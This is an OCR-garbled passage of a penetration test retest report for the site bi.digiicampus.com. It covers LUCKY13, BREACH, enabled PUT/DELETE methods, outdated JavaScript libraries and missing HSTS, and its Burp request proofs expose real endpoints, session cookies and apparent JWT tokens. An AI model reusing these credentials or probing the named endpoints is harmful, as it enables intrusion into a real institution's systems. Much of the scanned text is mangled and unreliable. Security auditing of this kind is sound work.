SESISIINSViIsIlNUQSIsIINUUATISIINUUyIsIINVUCISIIEEUiIsI1REVyISsI1RDUL BH1QiQ%3D%3D "}, "group”: "cf-nel", "max_age": 604800}

TSTIRIQwTsT1IRATS TS T IV TiwiVUlTTiwi VWA LCIWOUMiLCIWAiTsTIZCRCTST1ZDS |25 Nel: {"success_fraction":0, "report_to':"cf-nel", "max_age":S£04800}
CIST1ZGRCIST1ZIUyTsT1ZaTCIST1pBAyJdLEIqdGkioiT00TLIMTESZCImMIkCLTOw |23 Server-Timing:

F¥TetODRINCLiNCViVT RN M=V ToiLOTp¥Heio E3NDg SN USNTEs Iul4cCIEMT 00T cfL4;desc="?proto=TCParct=200456nmin rte=1994larte_var=5789asent=Tar
IMDM1MAO . ¥OcHSDCGREFheKFT3ipVo7CEL4acq45e TMhXY qpboll: & ecv=1T&lost=O&retrans=O&sent_bytes-803&recy_bytes=-4539&delivery_rat
amplituds iddigiicampus.com= ==122675scvmd=25Taunsent bytes=0acid=bebb5lloSbelagilats=04ax=0"

ey Ik EXZPYIVIZCTE TINEN kWl LWI0Ym TENDUSMili ODVhLT Y2 2] ewEZDe3HW T xMUT | o 4f

ALCJLlcoWySWOiomslhGws InSwdES 1ACISZnFscoUs Inllc SHphl 5TZCIENTc00DkyNT 25 | {

VOM=zA MiwibGF=dEVI ZWE0VELEZSTEMT e 00Dk v Tk =MD EAMCwi ZXZ 1hnEIZC TEMSwi a "mediat: |
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https://content-security-policy.com/

Retest Proof of Concept:

Request
Pretty Raw Hex

1 GET frest/service/users/l109260/adminPights HTTP/Z

- Host: bi.digiicampus.com

3 Cookie: _ga=GAR1.Z.1Z087&577.1748525864; _gid=
GAL.Z.1E11359352. 1753E6759515; user=
ey T 1bmMiCi JEMIUZRONN I iwiTWenIjoiZGlyInd. . 5aFJ0784KzewC SHL . vdnkHEUWC
LFPITwRISBoeQinELYZMUYDr URs0CAERL ihy(WE fAUN= 8 Env L olfuZVhVAPLF leDnlyx
LAPHGCHoZrwlesw BV TLIZIKv I EEWIF Qo4 0mneVwiTEh4iabCpOohPoTe¥V1iwt KEBow
HFEnRZvinskkJIbwSLEyFoeXdSALL all8cgULlHY 3pad QWEYN 3e S0p B Ey Y SDMhiVeMFEZQE
4ora7E £5 1 BFS rnSMSy= 408 Sy VMG xhE 1 Tagd GXaeHyw Y iwew LqTpClDz aycF 30
ANk YHAiC3c3BGFOES fvBqlq3Bw_cAMfacdllApgt -VTnuLEHFE TmSS 1 ZNY Jr 0-8XVD
WpAqDhxM1z1KlaFasSkhpYa4TOTAEx 30 US £qvB Rk L35 CrTCOAg_hHFuzeySHxEhrr
ZTEFFB vy £0 100k ZdllhegUZ3 I Foxr o fopdd-nT ax 1K Ih £Q0 Ty MO wxHdd xGVAH4 I r L q¥
121D f2phSaudgqlvtoyRBiWl eZoWlecnxASCUVl-nYacSl fC2Pul7 HErBzudVEACLOL
I7ThCMe AQHu 1 gnEp alft 2PeS S gt YhzdZMexPdyjusIvlvir JEsr IN_QMih wIJghDX
cqwiTrenecZoUlAREKINIE£87 0] o TwyKse I QTWENELQZEwx_ 3] dUTul COWqowDh GIHTQ7
1R7ThMEnBkcz8o0Yalioal BnBeMS IEdUer SuySKY TUMIS iBvAANAEZNML Og2dsVCy fel
2sKQjcikE Kyypesuo IAgrEMiS 3] —evInsWevt gzAZSHEPL55r 5 fHb LsHE gD O ohmeKw
I£iU_wFhAJ4VE] £8yvQIEvrysc3nTRTwgFpCRTLETrt EJ qZ iz Cofiwge xghllfwol £6TA

2B n =
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Response

Pretty Raw Hex Ren

¢ Access-Control-Max-Age: 2&00

7 Access-Control-Allow-Headers: content-type, accept,
x-requested-with, authorization, x-csrf-token, z-xsri-token,
x-requested-by, x-auth-token, cache—control, pragma, expires,
origin, accept-language, x-correlation-id, x-regquest—-id, auth-token
Content—Security-Policy: default-src 'self'
'‘unsafe-eval' data: blob: https:; script-sre 'self’
'‘unsafe-eval' data: blob: https:; style-sre 'self’
data: blok: htops:; img-src 'self' data: blob: hotps:; font-sro
'self' data: blob: https:; connect-sre 'self' https:; frame-sro
'self' https:; object-src 'self' data: bloh: https:;
5 Vary: Origin

'unsafe-inline'
'unsafe-inline’'
'unsafe-inline'

@

10 Vary: Access-Control-Bequest-Method

11 Vary: Access-Control-Request-Headers

12 M-Content-Type-Options: nosniff

12 ¥-¥ss-Protection: 1; mode=block

14 Cache-Control: no-cache, no-store, max—-age=0, must-revalidate
15 Pragma: no-cache

15 Expires: 0
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9. Application is potentially vulnerable to LUCKY13 attack

Severity: LOW

Retesting Status: FIXED

URL: bi.digiicampus.com

Description: This server offers ciphers with CBC mode of operation. Some
implementations do not properly consider timing side-channel attack on
a MAC check requirement. Please check if the version of the software is
vulnerable to LUCKY13 or not. (CVE-2013-0169)

Impact: The server has a vulnerability that may cause Lucky Thirteen attack

against implementations of the Transport Layer Security protocol. This
may result in the loss of sensitive information.

Recommendations:

Check the server version and update it to the latest version

References:

https://medium.com/@ coD3M/lucky-13-attack-explained-ddqaqgfd42fab

https://cyberpedia.reasonlabs.com/EN/lucky13%20attack.html

Step To Reproduce

Using test SSL scanner to observe this vulnerability

Proof of Concept:

Cornmand Prompt - docker run -ti drwetter/testssl.st bi.digiicampus.com

Running client simulations

make sure y

VULNERABLE -- but also supports higher protoc TLSv1.] £ (likely mit

rimental potentially VULNERABLE, uses cipher ock chaini ciphers with TLS.
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https://medium.com/@c0D3M/lucky-13-attack-explained-dd9a9fd42fa6
https://cyberpedia.reasonlabs.com/EN/lucky13%20attack.html

Retest Proof of Concept:

mmand Prompt - docker run -ti drwetter/testssl.sh bi.digiicampus.com
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Severity: LOW

Retesting Status: FIXED

URL: bi.digiicampus.com

Description: Insecure HTTP methods like PUT and DELETE are enabled on this web
server. In the presence of other cross-domain vulnerabilities in web
browsers, sensitive header information could be read from any domain
that supports these methods. It represents a request for information about
the communication options available on the request/response chain
identified by the Request-URL.

Impact: Due to this, Attacker can easily enumerate what methods are used by the

application

Recommendations:

It is recommended to disable these insecure HTTP- PUT and DELETE
methods on the web server

References:

https://owasp.org/www-project-web-security-testing-quide/v41/s-

Web Application Security Testing/o2-

Configuration_and Deployment Management Testing/o6-

Test HTTP_Methods

CWE-9g37: Using Components with Known Vulnerabilities

Step To Reproduce °

Navigate to application.
e Intercept any request using a proxy tool.

e You can see the methods being used by the application

Proof of Concept:

Request

Pretty o n =

Raw Hex

i

4 Host: bi_digiicampus.com
TEENTET —UE=TEIT - ICUSTEST 7. 1748925664 _gids=
GAL.Z.53C2352875.174859256864; user=
eyIhhCoidiJIUzIINiTS . eyJpe3MiliJodHRwli8v T 8shHEvh Cuu V29t Tiwice3 Wil
JolddlenMvMTASH YWl iwidWepZCIeMTASM] YWLC T 1bWFphCIe InwLnlhMUBC YWl
SaWShdGSyInlivhETsTnBob251Tjoi0TECODgxMDYwMDAS Ny I s InVe I UeXB1lTjoiY
ZOsbHEVLGWE TWRC aW4iLCIZZ2XTpEnl JYXPph I STAGFO-IA0iTiLCTUYW11TjoiQls
shHBvhGwgTEFkbWIuT iwi VWRtaWs58h 2y 1oy IEWYIBEREEi LCIERETi LCJEREOiILCIER
FIiLCJERFMiLCJERIAILCIJESVILILCIESVeiLCJBTUELILCIJEUEQiLCIJEUFciLCJEURQ
AiLCJBMzgiLCJBULAILCIJEVEMiILCJEVEULLCJEVEOLLCICOVOALCICQkQiLCICOLILiL
CICTUMALCICTUMALCIDQLIIiLCIDQIMiLCIDgleiLCID TS IsIRNNOSIsIENPTiIsIEN
MUAilsIENQUAiTIsIENOVyIsIENSREIsIkNTTSIs Ik EEVyIs Ik EDUils I EDVyIs Ik REQ
SIsIKREVyIsIkRFVyIsIkRLVyIsIERNEyIs I PV IsTEROULiIsIERPRCISIKROQST
sIERQULils Tk RQVyIsIkRE0SIsIkRTOS IsIkRTULiIs IR RIVCIs IR RTVyIs IR XUy IsT
EVDUilsIEVFTESIsIEVFUyIs Ik VUil s Ik VU Is Ik VUTS IsIkVYTSIsIkZEULiIsIkE
BUyIsIkEDUiIsIkEFREIsIkEJOSIsIkEITCISIREMVEISIRENULiIs IRENUIsI200
yIsIkZQUyIsIkEEREIsIREEViIsIkdPRyIsTkdQTEIs T diUyIsIEhEBUyIsIkhTULiT

10 Vary:
11 Vary: Access-Control-Reguest-Method

12 Vary: hccess—Control-Request-Headers

12 ¥-Content-Type-Options: nosniff

11 ¥-¥ss-Protection: 1; mode=hlock

15 Cache-Control: no-cache, no-store, max-age=0, must-revalidate

Response

Pretty Raw Hex Render \n
1 HITP/Z Z00 0K

2 Date: Tue, 03 Jun I0Z5 04:45:51 GMT

2 Content-Type: application/json

4 Cf-Ray: 945cS0felceEchshf-I1AR

: Server: cloudflare

£ TreTTEichTw—eT —tTTe

7| Access-Control-Allow-Methods: POST, GET, OPTIONS, DELETE, PUT

i e
2 Access-Control-Allow-Headers: *

Origin

¢ Pragma: mo-cache

17 Expires: 0O
15 M-Frame-Options:

SAMEORIGIN
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https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/06-Test_HTTP_Methods
https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/06-Test_HTTP_Methods
https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/06-Test_HTTP_Methods
https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/06-Test_HTTP_Methods
https://cwe.mitre.org/data/definitions/937.html

Retest Proof of Concept:

Request

Pretty Raw Hex n =
1 PUT| /rest/service/user/roles HITE/Z

2 Host: bi_ digiicampus. com

2 Cookie: _ga=GAl T 1T087E5T7.1748975EE64; _gid=

GAL.Z. 1811355352, 1753673515; user=

ey I 1buMi0iJEMIUZRONNI iwiTWxnIjoiEGlyIn0. 5aFJ0T784K=6wC SH] | wdnk HEUWC
LFPITvR0SBoeSnE LY TMUTDr URS0CAB R ihyOWE fAIm=8Env 1L o NUEVhVAPLF leDmIvx
LAPHNQGHoZruksvESTR TIZIKw O SEWIFUcd 0nnEVwlTSh41ialCp0ohPoYeYVliwc XESow
HFEnPREZvER )k JhwiLEvEeHdSATiall8ogUlHY 3pal QWETHZe S0p 82 EyYEDMhiVeIFEQE
40ra7E £51kEFS rniMSy=4 089y T=MeUWxhE 1 Jgg0CHgE Hyw] YwkvLXgTp CDzayF 20
4hWkYNdiC3c3EGFOZS fvBqlg3Bw_cAMfatdZlipgt -VTnuLEHKE Tn8 51 ZNY Jr 0 -EXVD
WpAqDhxM1z1KZaFasSkhpTa4TOTAfx 30US £qyB Rk L3sCrTCOAg hiFuzeySHxBhry
ETEFFEwy£0IU0kZdihe gUZ2IFoxr o fopdd-ml ax1KSTh £00 TyMSwxXd] xCUAH4§ r Tq¥

Response

Pretty

oW

5

o

Raw Hex Rende

HTTP/Z 405 Method Not Allowed

Date: Mon, 28 Jul 2025 0&:02:5& GMT
Content-Type: application/json

Cf-Ray: 9€&IZCha%%ebIlSl35-IMAA
Acecess-Control-Allow-Credentials: true
Access—Control-Allow-Methods: POST, GET,
Access—Control-Max-Age: 38500
Access-Control-Allow-Headers:
x-requested-with,
x-requested-hy,
origin, accept-language,
Content-Security-Policy:

OPTIONS, DELETE, PUT
content-type,
authorization,
x—auth-token, cache—control, pragma, expires,
x-correlation-id, x-request-id, auth-token
'self' 'unsafe-inline'

accept,

x-csri-token, x-zsri-token,

default-sro

1Z1DfZphSaudqRvtoyRIWl_eZoWlecnxASCull-nTacSZfCIPul?_HErBzudVEBAC101 ‘unsafe-eval' data: blobk: https:; script-src 'self' 'unsafe-inline’'
IThCMe AQHuI] (nEp alft 2P S8 gRWt ThedMExPdyjubIvivirJEsr IN QNikh vwIJghDX 'unsafe-eval' data: blob: https:; style-sre 'self' 'unsafe-inline'
cquiBTremeeZoT1ARELjnIE £87 ¢ 0 TugHEz I QTWENELG2 Ewx_ 3] dUVuICDWeeuDCHT 37 data: blobh: https:; img-sre 'self' data: bloh: https:; font-src
1R7ThMEmBkcz8oYalAoalénBeMS1EdUer SuySKYTUMI SiBvAANAEZNMLOgZdsVC) fel 'self' data: blob: htotps:; comnnect-sre 'self' hoops:; frame-sro
2sKicikEiyvposuo IAgrEMi 93 -evnsWEvt g AZSNEPLESr 5 fHb LsHEqD Dobmekw 'self' https:; object-sre 'self' data: blob: https:;
T£iU_yFhij4VE] £8yw(JEvryscInTRTwgqFpCRThETre By qZ0zCellwgexghlluak £6YA |10 Vary: Origin
TScBLtHCWORRGELzF fr oSy VD Ew_HDNWHe=5eHE 5T -x2viT0LDbge JYOF gx] gk 1o 2kl 11 Vary: Access-Control-Reguest-Method
J_4kg4(KiMS75FHCgpVep00TLzEloouTkL_ckgfZ_ HESEOTsN105Q £G4 qEMxWT{iKD ] 12 WVary: Access-Control-Request-Headers
allRVOyTDv fHIWdeBKIUTixlugZWhAT7Ik7-4yxeHo lxl qlh 3P 0Dvo RgP EyMazuTTED S 13 Allow: GET,O0PTIONS
LUBcuiyeBXeY 00 fZkwk Uy TC Zuo Su-SunlaqyeT sk 0us Tye wESHOT-LOLEk d4nEsac 14 X¥-Content-Type-Options: nosniff
1Td53RedDBwewvPEEgxknl B9 5CEHAU 1vts Z_gFdnlWuvab fIBlnigoEmS07iZEEDL 5 X-M¥ss-Protection: 1; mode=block
LI C£LdpE it asul Al CEzgDweD Sy Yok (pvhIlMeD 1ETFOL Y CqT2ulMCE £IuIP-Thup | 1¢ Cache-Control: no-cache, no-store, max-age=0, must-revalidate
PFDEULKGLEAxwuLhEnTVgIT4ThewVKge33-93W saFBG0VIGSEEi0D10plopManp-5vE |17 Pragma: no-cache
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11. Application is potentially vulnerable to BREACH attack

Severity: LOW

Retesting Status: CLOSED

URL: bi.digiicampus.com

Description: The BREACH (Browser Reconnaissance and Ex filtration via Adaptive
Compression of Hypertext) attack is a cryptographic attack that targets
web applications that use HTTP compression, such as GZIP, to improve
page load times. The attack can allow an attacker to steal sensitive
information, such as authentication tokens, from a user's session by
exploiting the way compression works.

Impact: The BREACH attack steals information about how data is encrypted from

HTTPS-enabled Web applications by essentially combining two existing
types of attacks: using cross-site request forgery (CSRF) to change data in
transport, and injecting data into the HTTPS headers using a man-in-the-
middle attack.

Recommendations:

It is recommended to implement random data padding to make the
compression more unpredictable and updating TLS protocol in the
application to a version that is not vulnerable to the attack.

References:

https://www.thesmartscanner.com/vulnerability-list/breach-attack

Step To Reproduce

Using test SSL scanner to observe this vulnerability

Proof of Concept:

Command Prompt - docker run -ti drwetter/testssl.sk bi.digiicampus.com

Testing vulnerabilities

Heartbleed

, no heartbeat

iment.

VULNERABLE, uses 64 bit blo

make sure you don't use t

A ECDHE-RSA-
DES-CB
VULNERABLE -- but also supports higher pr cols

potentially VULMERABLE, u cipher blo
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https://www.thesmartscanner.com/vulnerability-list/breach-attack

12. Vulnerable version of Java Script Library Found

Severity:

LOW

Retesting Status:

OPEN

URL:

bi.digiicampus.com/feed

Description:

The use of third-party JavaScript libraries can introduce a range of
DOM-based vulnerabilities, including some that can be used to hijack
user accounts like DOM-XSS.

Common JavaScript libraries typically enjoy the benefit of being heavily
audited. This may mean that bugs are quickly identified and patched
upstream, resulting in a steady stream of security updates that need to
be applied. Although it may be tempting to ignore updates, using a
library with missing security patches can make your website
exceptionally easy to exploit. Therefore, it's important to ensure that
any available security updates are applied promptly.

Some library vulnerabilities expose every application that imports the
library, but others only affect applications that use certain library
features. Accurately identifying which library vulnerabilities apply to
your website can be difficult, so we recommend applying all available
security updates regardless.

Impact:

JavaScript library’s security vulnerabilities can be exploited to perform
cross-site scripting, cross-site request forgery, and buffer overflow.

Recommendations:

Develop a patch-management strategy to ensure that security updates
are promptly applied to all third-party libraries in your application. Also,
consider reducing your attack surface by removing any libraries that are
no longer in use.

References:

https://portswigger.net/kb/issues/oo500080 vulnerable-javascript-
dependency

CWE-1104: Use of Unmaintained Third Party Components

Ag: Using Components with Known Vulnerabilities

https://security.snyk.io/package/npm/jquery/3.4.1

https://security.snyk.io/package/npm/bootstrap/3.4.1

Step To Reproduce

e Navigate to application.

e You can see the vulnerable version of java script is being used by
the application
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https://portswigger.net/kb/issues/00500080_vulnerable-javascript-dependency
https://portswigger.net/kb/issues/00500080_vulnerable-javascript-dependency
https://cwe.mitre.org/data/definitions/1104.html
https://owasp.org/www-project-top-ten/2017/A9_2017-Using_Components_with_Known_Vulnerabilities

Proof of Concept:

Mustache 230

@  AngularJS 1.320

Razorpay,

Tag managers

Koha

Finance Report

Test Jio

Terms and Conditions
External Payment Link
Terms and Conditions
DOC FILE

Finance Dashbaord (For Office
Purpose only)

Collpoll team

Get login request

Get login request3
Get login request3
Get login requesti
1

2

new link addition

Koha

Finance Report

Test Jio

Terms and Conditions
External Payment Link
Terms and Conditions
DOC FILE

Finance Dashbaord (For Office
Purpose only)

Collpoll team
Get login request

Get login request3
Get login request3
Get login request1
1

2

new link addition

Video players

@ VideoJs 73.0

Security

P [eCAPTCHA

Font scripts

[J Font Awesome 4.7.0

Editor

% CodeMirror 5594

Rich text editors

©  CKEditor

JavaScript graphics

€ Google Tag Manager

JavasScript libraries
@ Momentjs 2112

BY Microsoft Authentication

€ JSZip 340

FingerprintJS

Ul frameworks

& KendoUl 20223913
3 Bootstrap 34.1

¥ Angular Material

P [eCAPTCHA

Font scripts

[J Font Awesome 4.7.0

Editor

% CodeMirror 5594

Rich text editors

©  CKEditor

JavaScript graphics
B D3 3517

w Chartjs

Programming languages

TypeScript

Micrgsoft Authentication

Query 341

€ JSZip 340

@ FingerprintJS

Ul frameworks

& KendoUl 20223913

¥ Angular Material

Authentication

G Google Sign-in

BY Microsoft Authentication

Cloudflare Browser
Insights
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Severity:

LOW

Retesting Status:

FIXED

URL:

bi.digiicampus.com

Description:

The HTTP Strict Transport Security (HSTS) feature allows a web
application to inform the browser, through the use of a special response
header, that it should never establish a connection to the specified domain
servers using HTTP. Instead, it should automatically establish all
connection requests to access the site through HTTPS. This will prevent
the information from being passed over an unencrypted channel.

Impact:

An adversary can access unencrypted traffic, thus by gaining access to the
complete user account.

Recommendations:

e Setthe HSTS directives in the response header.

e This needs to be implemented throughout the application.

References:

https://cheatsheetseries.owasp.org/cheatsheets/HTTP_Strict Transport
Security Cheat Sheet.html

CWE-523: Unprotected Transport of Credentials

CAPEC-94: Man in the Middle Attack

CAPEC-157: Sniffing Attacks

Step To Reproduce

e Gotothe application and intercept any request using proxy tool.

e You can observe that the HSTS header is absent.

Proof of Concept:
O==
Request Response
Pretty Raw Hex w noo= Pretty Raw Hex Re n_ =
= gangrateCetSignedlUrl/120332 HTTP/Z 1| EITP/Z Z00 0K
i icampus. com z| Pate: Tue, 03 Jun ZO0Z5 04:48:47 GMT
1.0 1C007EE77.1748926664; _gid= z| Content-Type: application/json
GAl. T 53T350875.17489°5664; user= 4| Cf-Ray: 94S9c8cTbefcd7fd0-MAA
eyThbGeiliJIUzIINiTS. eydpo3Mi0idodHRwliBv Y28 shHEvh GwuY 2ot Iiwic3Vil] z| Server: cloudflare
01Tl enMwMTASM Yo lividitpZC IEMTASM] YwLC I LbWFphC 16 InllwlullhNUEE TWlsa ¢| tecess-Control-illow-Origin: https://bi.digiicampus.com
W5hdGSyLnlivh3IsInEBobl 51T joilTEC 0D gxMDYwIDASy Is INVaEHXIUeXELIjoi¥258s 7| Access-Control-Allow-Credentials: true
LHEvhECwE YWt aWdiLC T2 EMTpZnl JTHPph 28 TACFOL-Mi0iTiLOJuYW1l1IjoidZ9shHE z| Access-Control-Allow-Methods: POST, GET, OPTIONE, DELETE, PUT
VhGwgIEFEbWIuIliwiYWRt aWsSh 2 leyIEWyJEREELILCIJEREULILCIJEREOLILCIERFILLC of Access-Control-Max-Age: 3600
JERFMiLCJBRIALILCIBSVIALCIJESVeiLCJETUELLCIJBUEQiLCIJBUFciLCIJEM: JiLCIJET 10| Access—Control-Allow-Headers: *
kgiLCJBULAILCJEVEMiLCJEVEUiLiLCJEVEDLILCIJCQUQiLCICQkQiLCICQITiLCICTUML 11| Vary: Origin
LCJCTUMiLCIDQlTIiLCIDQIMiLCIDQleileIDTSIsIRNNOSIsTIENPTiIsIENPULIsTEN 12| Vary: Access-Control-Request-HMethod
AUilsIkNOVyIsIKNEREIsIkNT TS Is Ik EEVy s Ik FDUiIs Ik PEDWyIs Ik REQS Is Ik REVY 12| Vary: Access-Control-Request-Headers
IsIkERFVyIsIERLVyISIERNEyIsIERVyIsIEROULIISIKRPRCISIKROQSISIKROULIST 14| X-Content-Type-Options: nosniff
ERQVyIsIEREQEISIERTOSISsIERTULiISIERTVCISIERIVy Is IR EVyIsIEVDULiIsIEVE 15| H-Mss-Protection: l; mode=hlock
TSIsTEVFUyIsIEVNUiIs [EVNUyIsTkVUTSIs IkVYTSIs Ik ZBUi Is Ik ZBVy Is Tk ZDUL T 1¢|] Cache-Control: no-cache, no-store, max-age=0, must-revalidate
sIkZFREISIKETOSIsIREJICIS IREMVEIs TR ZNULIs TR ZNUyIsIkZ00yvIsIkE00vIsIk 17| Pragma: no-cache
ZEREIsIREEVils Tk dl Ry Is Tk AQTS Is Tk dQUy IsIRhEUy Is IkhTUiIs IkhITyIs IkhiT] 1z| Expires: O
SIsIkhUTCIsIkIDTCIsIk1EQyIsIk10TSIsIkplOyIsIkePESCIsIkxCVSIsIkxETiwi 15| ®X-Frame-Options: SANEORIGIN
TFEEIiwiTFETIiwiTFRTIiwiTULXIiwiTULFIiwiTULTIiwiTVEEIiwi TVEXIiwi TV Ci-Cache-Status: DYNAMIC
HIAwiTVNS Tiwi TV T iwi TV Tiwi TV Tiwi ThFQTiwi T PNTiwiTIBETiwiT1RDT] Report-To:
WiTlREIiwiTOJEIiwiTOJETIiwiTOJTIiwiUEFZliwiUEZSIiwiTEZKIiwiUERSTiwill {"endpoints": [{"url": "https: "/ fa.nel.cloudflare. com' /report’ /vdl?s=
ER¥IiwiUExBIiwiUEOiLCIQTUULLCIQTVYiLCIQUEELILCIQUFMiILCIQVEDLILCTISTUML WhbXLdiAvOgWCpwi)SlglievEwt ZEJ9Q05Ck ThwDCIELtuAZhCys CENWO qidimSdD Swh
LCJSUCISILIQUiIsIINEUiIsIINEVyIsTIINDSCISsTINGUAilsTINNTSIsT1INMVyIsTLH ZEUGCFOEKUCDFASUe Tk 0Zxh$ ZFDp JEndnHs ZEZ ) IFqPgSBullGID3820ajo)17FTI3 CE
EREISIINEViIsIINUQEIsIINUUiIs IINUTy IsTINVUCISsIIPEUi IsTIREVy IsI1EDUL nwCEEZFxOINYROE2D%2D"} ], "group": "cf-nel", "max_age":E£04800}
IsTIRIQwIsTIRQTSIsTIVN TiwiVIITTiwiVVAILCIWOUMiLCIWOiTsT1ZCRCIST1IZDS Wel: {"success_fraction":0,"report_to":"cf-nel", "max_age":£04800}
CIsIlZGRCISILZIUyIsSIIZ0TCISIIpEQyJdLCIgqdclitiI00TIINTES2C1InMkILT Jw Server-Timing:
FTetODRINCLINZVAYTRINIM=Y TgiLCIp Y QL0 E3NDgSMiUNTEs ImV4eCIEMTe0OTU cfld;dese="proto=TCPartt=20E27&min _rtt=17431lartt_var=746E8sent =85y
1MDMIMEO. YOcHSDCGREFheKF23ipVoT7CELl4acqgd Se 7Y qphollk 7 ecv=1Z&lost=0&retrans=04isent_bytes=8034recv_bytes=4832&delivery_rat
amplitude iddigiicampus.com= e=l2ET7E8cowvmd=2launsent _bytes=08cid=15225de2d83d4d23dats=2058ax=0"

eyIkZXEpY 2 VIZCTE T JMeEN k= 0WIy LWIOTm Tt NDUTSMi 11 ODVhLTY=2E2]) cwZD e SNW T ¥ MU T
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https://cheatsheetseries.owasp.org/cheatsheets/HTTP_Strict_Transport_Security_Cheat_Sheet.html
https://cheatsheetseries.owasp.org/cheatsheets/HTTP_Strict_Transport_Security_Cheat_Sheet.html
https://cwe.mitre.org/data/definitions/523.html
https://capec.mitre.org/data/definitions/94.html
https://capec.mitre.org/data/definitions/157.html

Retest Proof of Concept:

Request

W e

Raw Hex =

Pretty

GET frest/servicefcards HTTP/Z

Host: bi.digiicampus.com

Cockie: _ga=GAL. I 1Z0B7E577.1748925664; _gid=

GAL.Z_1E11359382. 175387951 E; user=

ey JlbuMi0iJEMIUZRONNIiwiTWxnljoiZGlyInd. . 5aFJ0784K=6wC SM1 . wdnkHEUW
ChFPITvR0ISEBoeQsnELTIMUYDr URs0CAEBRI ihyOWE fAVN =B Env 1 olfuEVhVAPLF leDmd
yrLdPNQGHoZrulkr sv EETh T2 1w 08 EWIF Qo4 InnEVwiTSh4iab Cp0ohPoTeYV1ivt KB
BowHFknRIvEn:dkk Jhwi Ly KeHdSATiall8ogUlHY 3pal QWETN2e S0p 8 2Ey Y SDMhiVell
FZQE4oraTéfslkEFrnilSy=4 089y T=MeUWxhE L] gol CXgeHyw] Y iwk vl g TpCliDza
YyeF304nkYHAiC3e3BGFOEY fvBglq3Bw_cANfatdZlipgr -VInuLEHFC TnES1Z0Y Jr
0-EXVDWpAqgDhxMlz 1K aFasSkhpYax4TOTAEx30US fgvB Rk L3sCvTCOAg hHFuzey
SHxPhrrZTEFFBvy 01Uk Zdilhe gUZ3JFoxre fopd8-nlanlKS Tk £00 Ty Swaxkd] =GV
cdH23rIgy 121D fZphSandgRvtoyRiWl_eZoWlecnxASCulVl-nYacsZfCIPUVT_KErEBz
WAVEAE101TThGMe AQHUN] (nEpall 3P S8 gRWETh=d HEx PdyjubTvlvi r JEsr TH_ QW
ih vIdghDXequeTvenecZoUlARSk jnS6 £87cjoTwyK5z I QTWENELIZEwx_3) dUTuIC
DWqewDGHIQ71RTThMEnEkce8oTalAoal BnBeME1BdUe r Suy KT TUMISiBvAANAE ZNM
LOg2dsVCH felesKijeikE iyypeosuoIAgrEliss ) —evInsWavt guAZSHEPLEEr E £Hl
LsHeqDOobmeKwI £ilU_yFhAJ4VE] £8ywl JEvrysce3nT RIwqFpCRTLETre EJqZ0=C kW

22 HNel:
22 Btrict-Transport-Security: max—age=31538000;

24 Berver:
2z Server-Timing:

Response
Pretty

Raw

1£ Cache-Control: no-cache, no-store, max-age=0, must-revalidate
17 Pragma:

no-cache

2 Expires: 0
o X-Frame-Options: SAMEORIGIN
>0 Cf-Cache-Status: DYNANIC
»1 Report-To:
{"endpoints": [{"url": "https:'/"/a nel cloudflare com'/report’ /vd?s=x

OITEITAt=zwilULSFFREVATs £72cThius ZFhx PPATSCZRvHS CE4EELGMH=gADS1e4 1 E3RD
BELCYIWUE s 2FiVIeSKhPeZBX 18 un SRy HPW4vAdrFET oK CEThEEXWs gt bk FPeWTrE
1MEVg$3D%30" }1, "group”: "cf-nel”, "max_age":E£04800}
{"success_fraction":0,"report_to":"cf-nel",K "max_age":E504800}
ineludeSublomains ;

preload
cloudflare

cilL4;desc="Iproco=TCPArct=20653imin ree=18572arce_wvar=5170&asent=88461
ecv=Eb&lost=0&retrans=0&sent_bytes=21%985arecv_bytes=31634&delivery r
ate=770363acvmd=255aunsent _bytes=06cid=07£d3771a7873k364ts=5323ax=0"
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3.Conclusions

The above Application shows vulnerabilities, which earlier include High, Medium and Low

vulnerabilities.

Hence, the testing and re-testing has been done for the web application Digiicampus.

4. Tools Used

Burp Suite Licensed

Nessus Licensed

OWASP ZAP

Kali Linux — Open Source trusted

Nmap
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